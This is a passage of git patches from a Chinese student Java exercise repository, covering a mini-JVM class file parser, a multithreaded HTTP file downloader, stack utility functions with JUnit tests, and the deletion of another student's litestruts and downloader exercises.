+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    /* 
+     * byte:有符号数（-128~127）
+     * byte[]：该数组是一个有符号的字节数组
+     * byte[i] & 0xff：相当于取低8位
+     */
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());//常量池项的个数这一项占了1个
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+}
diff --git a/group06/1378560653/src/com/coderising/jvm/test/EmployeeV1.java b/group06/1378560653/mini-jvm/com/coderising/jvm/test/EmployeeV1.java
similarity index 100%
rename from group06/1378560653/src/com/coderising/jvm/test/EmployeeV1.java
rename to group06/1378560653/mini-jvm/com/coderising/jvm/test/EmployeeV1.java
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/util/Util.java b/group06/1378560653/mini-jvm/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..d1e7ec9e64
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group06/1378560653/src/com/coderising/download/FileDownloader.java b/group06/1378560653/src/com/coderising/download/FileDownloader.java
index 5a260a365b..12dc0198d5 100644
--- a/group06/1378560653/src/com/coderising/download/FileDownloader.java
+++ b/group06/1378560653/src/com/coderising/download/FileDownloader.java
@@ -74,7 +74,7 @@ public void run(){
 			
 		} catch (Exception e) {			
 			e.printStackTrace();
-		}finally{
+		} finally {
 			if(conn != null){
 				conn.close();
 			}
@@ -104,7 +104,7 @@ private int[][] allocateDownloadRange(int threadNum, int contentLen) {
 
 	private void createPlaceHolderFile(String fileName, int contentLen) throws IOException {
 		
-		RandomAccessFile file = new RandomAccessFile(fileName, "rw");//以读写方式
+		RandomAccessFile file = new RandomAccessFile(fileName, "rw");
 		
 		for(int i = 0; i < contentLen; i++){
 			file.write(0);
@@ -119,7 +119,6 @@ public void setListener(DownloadListener listener) {
 	}
 
 	
-	
 	public void setConnectionManager(ConnectionManager ucm){
 		this.cm = ucm;
 	}
diff --git a/group06/1378560653/src/com/coderising/download/impl/ConnectionImpl.java b/group06/1378560653/src/com/coderising/download/impl/ConnectionImpl.java
index 643984ee73..8ad442b85f 100644
--- a/group06/1378560653/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group06/1378560653/src/com/coderising/download/impl/ConnectionImpl.java
@@ -48,7 +48,7 @@ public byte[] read(int startPos, int endPos) throws IOException {
 		
 		//is.skip(startPos);//跳过startPos之前的内容
 		
-		byte[] buff = new byte[BUFFER_SIZE];
+		byte[] buff = new byte[BUFFER_SIZE];//buff是搬运工
 		int totalLen = endPos - startPos + 1; //注意+1
 		ByteArrayOutputStream baos = new ByteArrayOutputStream(); //字节数组流， 可以捕获内存缓冲区的数据，转换成字节数组。----输出流
 		
diff --git a/group06/1378560653/src/com/coderising/download/test/ConnectionTest.java b/group06/1378560653/src/com/coderising/download/test/ConnectionTest.java
new file mode 100644
index 0000000000..cecf0d13f5
--- /dev/null
+++ b/group06/1378560653/src/com/coderising/download/test/ConnectionTest.java
@@ -0,0 +1,53 @@
+package com.coderising.download.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+
+
+public class ConnectionTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testContentLength() throws Exception{
+		ConnectionManager connMan = new ConnectionManagerImpl();
+		Connection conn = connMan.open("http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg");		
+		Assert.assertEquals(35470, conn.getContentLength());
+	}
+	
+	@Test
+	public void testRead() throws Exception{
+		
+		ConnectionManager connMan = new ConnectionManagerImpl();
+		Connection conn = connMan.open("http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg");
+		
+		byte[] data = conn.read(0, 35469);
+		
+		Assert.assertEquals(35470, data.length);
+		
+		data = conn.read(0, 1023);
+		
+		Assert.assertEquals(1024, data.length);
+		
+		data = conn.read(1024, 2023);
+		
+		Assert.assertEquals(1000, data.length);
+		
+		
+		// 测试不充分，没有断言内容是否正确
+	}
+
+}
diff --git a/group06/1378560653/src/com/coderising/download/test/FileDownloaderTest.java b/group06/1378560653/src/com/coderising/download/test/FileDownloaderTest.java
new file mode 100644
index 0000000000..6c44b79f10
--- /dev/null
+++ b/group06/1378560653/src/com/coderising/download/test/FileDownloaderTest.java
@@ -0,0 +1,60 @@
+package com.coderising.download.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.FileDownloader;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url,"C:\\Users\\kai\\Desktop\\imooc\\test.jpg");
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group06/1378560653/src/com/coderising/jvm/loader/ClassFileLoader.java b/group06/1378560653/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index ff832c8dde..0000000000
--- a/group06/1378560653/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) { 
-		String classDirName = className.replace('.', '\\')+".class";
-		String clzpath = getClassPath()+"\\"+ classDirName;
-		try {
-			FileInputStream clz = new FileInputStream(clzpath);
-			ByteArrayOutputStream baos = new ByteArrayOutputStream();
-			
-			int flag = 0;
-			while((flag = clz.read())!=-1){
-				baos.write(flag);
-			}
-			clz.close();
-			return baos.toByteArray();	
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return null;
-	}
-	
-	
-	public void addClassPath(String path) {
-		File file = new File(path);
-		if(file.exists()){
-			clzPaths.add(path);
-		} else {
-			throw new IllegalArgumentException("路径："+path+"不存在");
-		}
-	}
-	
-
-	public String getClassPath(){
-		if(clzPaths.isEmpty()){
-			return " ";
-		}
-		
-		StringBuffer buf = new StringBuffer();
-		for (int i = 0; i < clzPaths.size(); i++) {
-			buf.append(clzPaths.get(i));
-			if(i != (clzPaths.size() - 1)){
-				buf.append(";");
-			}
-		}
-		return buf.toString();
-	}
-
-}
\ No newline at end of file
diff --git a/group06/1378560653/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group06/1378560653/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 3ace0974f5..0000000000
--- a/group06/1378560653/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-public class ClassFileloaderTest {
-
-	
-	static String path1 = "H:\\github\\coding2017\\group06\\1378560653\\bin";
-	static String path2 = "C:\\Temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
\ No newline at end of file
diff --git a/group06/1378560653/src/com/coding/basic/Stack.java b/group06/1378560653/src/com/coding/basic/stack/Stack.java
similarity index 94%
rename from group06/1378560653/src/com/coding/basic/Stack.java
rename to group06/1378560653/src/com/coding/basic/stack/Stack.java
index 37fb5f26b5..d30244dd35 100644
--- a/group06/1378560653/src/com/coding/basic/Stack.java
+++ b/group06/1378560653/src/com/coding/basic/stack/Stack.java
@@ -1,4 +1,4 @@
-package com.coding.basic;
+package com.coding.basic.stack;
 
 import com.coding.basic.array.ArrayList;
 
diff --git a/group06/1378560653/src/com/coding/basic/stack/StackUtil.java b/group06/1378560653/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..bbbbf67411
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,145 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+public class StackUtil {
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s.isEmpty()){
+			return;
+		}
+		
+		Stack<Integer> temp1 = new Stack<>();
+		Stack<Integer> temp2 = new Stack<>();
+		
+		while(!s.isEmpty()){
+			temp1.push(s.pop());
+		}
+		
+		while(!temp1.isEmpty()){
+			temp2.push(temp1.pop());
+		}
+		
+		while(!temp2.isEmpty()){
+			s.push(temp2.pop());
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack<Object> s,Object o) {
+		if(s.isEmpty()){
+			return;
+		}
+		
+		Stack<Object> temp = new Stack<>();
+		
+		while(!s.isEmpty()){
+			Object data = s.pop();
+			if(o.equals(data)){
+				continue;
+			}
+			temp.push(data);
+		}
+		
+		while(!temp.isEmpty()){
+			s.push(temp.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack<Object> s,int len) {
+		if(s.isEmpty()){
+			return new Object[0];
+		}
+		
+		if(len >= s.size()){
+			len = s.size();
+		}
+		
+		Object[] result = new Object[len];
+		
+		Stack<Object> temp = new Stack<>();
+		int count = 0;
+		while(!s.isEmpty()){
+			Object data = s.pop();
+			temp.push(data);
+			result[count++] = data;
+			if(count == len){
+				break;
+			}
+		}
+		
+		while(!temp.isEmpty()){
+			s.push(temp.pop());
+		}
+		
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s.length() == 0){
+			return false;
+		}
+		
+		Stack<Character> temp1 = new Stack<>();
+		Stack<Character> temp2 = new Stack<>();
+		
+		for(int i = 0, j = s.length()-1; i <= j; i++,j--){
+			temp1.push(s.charAt(i));
+			temp2.push(s.charAt(j));
+		}
+		
+		while(!temp1.isEmpty()&&!temp2.isEmpty()){
+			char a = temp1.pop();
+			char b = temp2.pop();
+			if(a == '('){
+				if(b != ')'){
+					return false;
+				}
+			} 
+			if(a == '[') {
+				if(b != ']'){
+					return false;
+				}
+			}
+			if(a == '{'){
+				if(b != '}'){
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+	
+	public static String toString(Stack<?> s) {
+		StringBuffer buffer = new StringBuffer();
+		buffer.append("[");
+		while(!s.isEmpty()){
+			buffer.append(s.pop());
+			if(s.size()!=0){
+				buffer.append(",");		
+			}
+		}
+		buffer.append("]");
+		return buffer.toString();
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/src/com/coding/basic/stack/StackUtilTest.java b/group06/1378560653/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..dd7a461ac4
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,82 @@
+package com.coding.basic.stack;
+
+import static org.junit.Assert.*;
+import java.util.Stack;
+import org.junit.Assert;
+import org.junit.Test;
+
+public class StackUtilTest {
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack<>();
+		StackUtil.reverse(s);
+		Assert.assertEquals("[]", s.toString());
+		
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		
+		StackUtil.reverse(s);
+		Assert.assertEquals("[1,2,3,4,5]", StackUtil.toString(s));	
+	}
+	@Test
+	public void testRemove() {
+		Stack<Object> s = new Stack<>();
+		StackUtil.remove(s,3);
+		Assert.assertEquals("[]", s.toString());
+		{
+			s.push(1);
+			s.push(2);
+			s.push(3);
+			s.push(4);
+			s.push(5);
+		
+			StackUtil.remove(s,3);
+			Assert.assertEquals("[5,4,2,1]", StackUtil.toString(s));
+		}
+		{
+			s.push(1);
+			s.push(2);
+			s.push(3);
+			s.push(4);
+			s.push(5);
+		
+			StackUtil.remove(s,7);
+			Assert.assertEquals("[5,4,3,2,1]", StackUtil.toString(s));
+		}
+	}
+	@Test
+	public void testGetTop() {
+		Stack<Object> s = new Stack<>();
+		assertArrayEquals(new Object[0], StackUtil.getTop(s,3));	
+		
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+			
+		int[] expected = {5,4,3};
+		Object[] result = StackUtil.getTop(s,3);
+		int[] actual = new int[result.length];
+		for(int i = 0; i < result.length; i++){
+			actual[i] = (int)result[i];
+		}
+
+		assertArrayEquals(expected, actual);		
+	}
+	
+	@Test
+	public void testIsValidPairs(){
+		String s1 = "([e{d}f])";
+		assertTrue(StackUtil.isValidPairs(s1));
+		
+		String s2 = "([b{x]y})";
+		assertFalse(StackUtil.isValidPairs(s2));
+	}
+}
+
+

From 0d1120a4706e27cdc3f66dcd431cabf3d6cf7811 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Sun, 9 Apr 2017 20:21:31 +0800
Subject: [PATCH 058/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9=E7=9B=AE=E5=BD=95!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../01_litestruts/src/main/LoginAction.java   | 36 ---------
 .../01_litestruts/src/main/Struts.java        | 71 -----------------
 .../work_Big/01_litestruts/src/main/View.java | 27 -------
 .../01_litestruts/src/test/StrutsTest.java    | 55 -------------
 .../02_downloader/src/api/Connection.java     | 23 ------
 .../src/api/ConnectionException.java          |  6 --
 .../src/api/ConnectionManager.java            | 10 ---
 .../src/api/DownloadListener.java             |  5 --
 .../src/impl/ConnectionImpl.java              | 54 -------------
 .../src/impl/ConnectionManagerImpl.java       | 16 ----
 .../src/main/DownloadThread.java              | 50 ------------
 .../src/main/FileDownloader.java              | 78 -------------------
 .../src/test/DownloaderTest.java              | 21 -----
 13 files changed, 452 deletions(-)
 delete mode 100644 group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java
 delete mode 100644 group23/1323434545/work_Big/01_litestruts/src/main/Struts.java
 delete mode 100644 group23/1323434545/work_Big/01_litestruts/src/main/View.java
 delete mode 100644 group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/api/Connection.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
 delete mode 100644 group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java

diff --git a/group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java b/group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java
deleted file mode 100644
index 4f48122d92..0000000000
--- a/group23/1323434545/work_Big/01_litestruts/src/main/LoginAction.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package main;
-
-public class LoginAction {
-	private String name;
-	private String password;
-	private String message;
-
-	public String getName() {
-		return name;
-	}
-
-	public String getPassword() {
-		return password;
-	}
-
-	public String execute() {
-		if ("test".equals(name) && "1234".equals(password)) {
-			this.message = "login successful";
-			return "success";
-		}
-		this.message = "login failed,please check your user/pwd";
-		return "fail";
-	}
-
-	public void setName(String name) {
-		this.name = name;
-	}
-
-	public void setPassword(String password) {
-		this.password = password;
-	}
-
-	public String getMessage() {
-		return this.message;
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/01_litestruts/src/main/Struts.java b/group23/1323434545/work_Big/01_litestruts/src/main/Struts.java
deleted file mode 100644
index 5cd2261413..0000000000
--- a/group23/1323434545/work_Big/01_litestruts/src/main/Struts.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package main;
-
-import java.io.File;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Method;
-import java.util.Iterator;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-public class Struts {
-	/*
-	 * 
-	 * 0. 读取配置文件struts.xml
-	 * 
-	 * 1. 根据actionName找到相对应的class ， 例如LoginAction, 通过反射实例化（创建对象）
-	 * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 ("name"="test" ,
-	 * "password"="1234") , 那就应该调用 setName和setPassword方法
-	 * 
-	 * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-	 * 
-	 * 3. 通过反射找到对象的所有getter方法（例如 getMessage）, 通过反射来调用， 把值和属性形成一个HashMap , 例如
-	 * {"message": "登录成功"} , 放到View对象的parameters
-	 * 
-	 * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值， 确定哪一个jsp， 放到View对象的jsp字段中。
-	 * 
-	 */
-
-	@SuppressWarnings({ "rawtypes", "unchecked" })
-	public static View runAction(String actionName, Map<String, String> parameters)
-			throws DocumentException, ReflectiveOperationException, SecurityException {
-		View view = null;
-		SAXReader reader = new SAXReader();
-		Document document = reader.read(new File("./xml/struts.xml"));
-		Element root = document.getRootElement();
-		for (Iterator iterator = (Iterator) root.elementIterator("action"); iterator.hasNext();) {
-			Element actionElement = (Element) iterator.next();
-			String actionElementName = actionElement.attributeValue("name");
-			if (actionElementName.equals(actionName)) {
-				Class c = Class.forName(actionElement.attributeValue("class"));
-				Constructor con = c.getConstructor();
-				Object o = con.newInstance();
-				Method setName = c.getMethod("setName", String.class);
-				setName.invoke(o, parameters.get("name"));
-				Method setPassword = c.getMethod("setPassword", String.class);
-				setPassword.invoke(o, parameters.get("password"));
-				Method execute = c.getMethod("execute");
-				String resultStr = execute.invoke(o).toString();
-
-				for (iterator = actionElement.elementIterator("result"); iterator.hasNext();) {
-					Element resultElement = (Element) iterator.next();
-					if (resultElement.attributeValue("name").equals(resultStr)) {
-						view = new View();
-						parameters.put("name", c.getMethod("getName").invoke(o).toString());
-						parameters.put("password", c.getMethod("getPassword").invoke(o).toString());
-						parameters.put("message", c.getMethod("getMessage").invoke(o).toString());
-						view.setJsp(resultElement.getStringValue());
-						view.setParameters(parameters);
-					}
-				}
-			}
-
-		}
-		return view;
-
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/01_litestruts/src/main/View.java b/group23/1323434545/work_Big/01_litestruts/src/main/View.java
deleted file mode 100644
index 93c37fd966..0000000000
--- a/group23/1323434545/work_Big/01_litestruts/src/main/View.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package main;
-
-import java.util.Map;
-
-@SuppressWarnings("rawtypes")
-public class View {
-	private String jsp;
-	private Map parameters;
-
-	public String getJsp() {
-		return jsp;
-	}
-
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-
-	public Map getParameters() {
-		return parameters;
-	}
-
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java
deleted file mode 100644
index 836897b221..0000000000
--- a/group23/1323434545/work_Big/01_litestruts/src/test/StrutsTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.dom4j.DocumentException;
-import org.junit.Assert;
-import org.junit.Test;
-
-import main.Struts;
-import main.View;
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		String actionName = "login";
-		Map<String, String> params = new HashMap<String, String>();
-		params.put("name", "test");
-		params.put("password", "1234");
-		View view = null;
-		try {
-			view = Struts.runAction(actionName, params);
-		} catch (SecurityException e) {
-			e.printStackTrace();
-		} catch (DocumentException e) {
-			e.printStackTrace();
-		} catch (ReflectiveOperationException e) {
-			e.printStackTrace();
-		}
-		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-		Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String, String> params = new HashMap<String, String>();
-		params.put("name", "tes");
-		params.put("password", "1234");
-		View view = null;
-		try {
-			view = Struts.runAction(actionName, params);
-		} catch (SecurityException e) {
-			e.printStackTrace();
-		} catch (DocumentException e) {
-			e.printStackTrace();
-		} catch (ReflectiveOperationException e) {
-			e.printStackTrace();
-		}
-		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-
-}
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/Connection.java b/group23/1323434545/work_Big/02_downloader/src/api/Connection.java
deleted file mode 100644
index 5b41847037..0000000000
--- a/group23/1323434545/work_Big/02_downloader/src/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
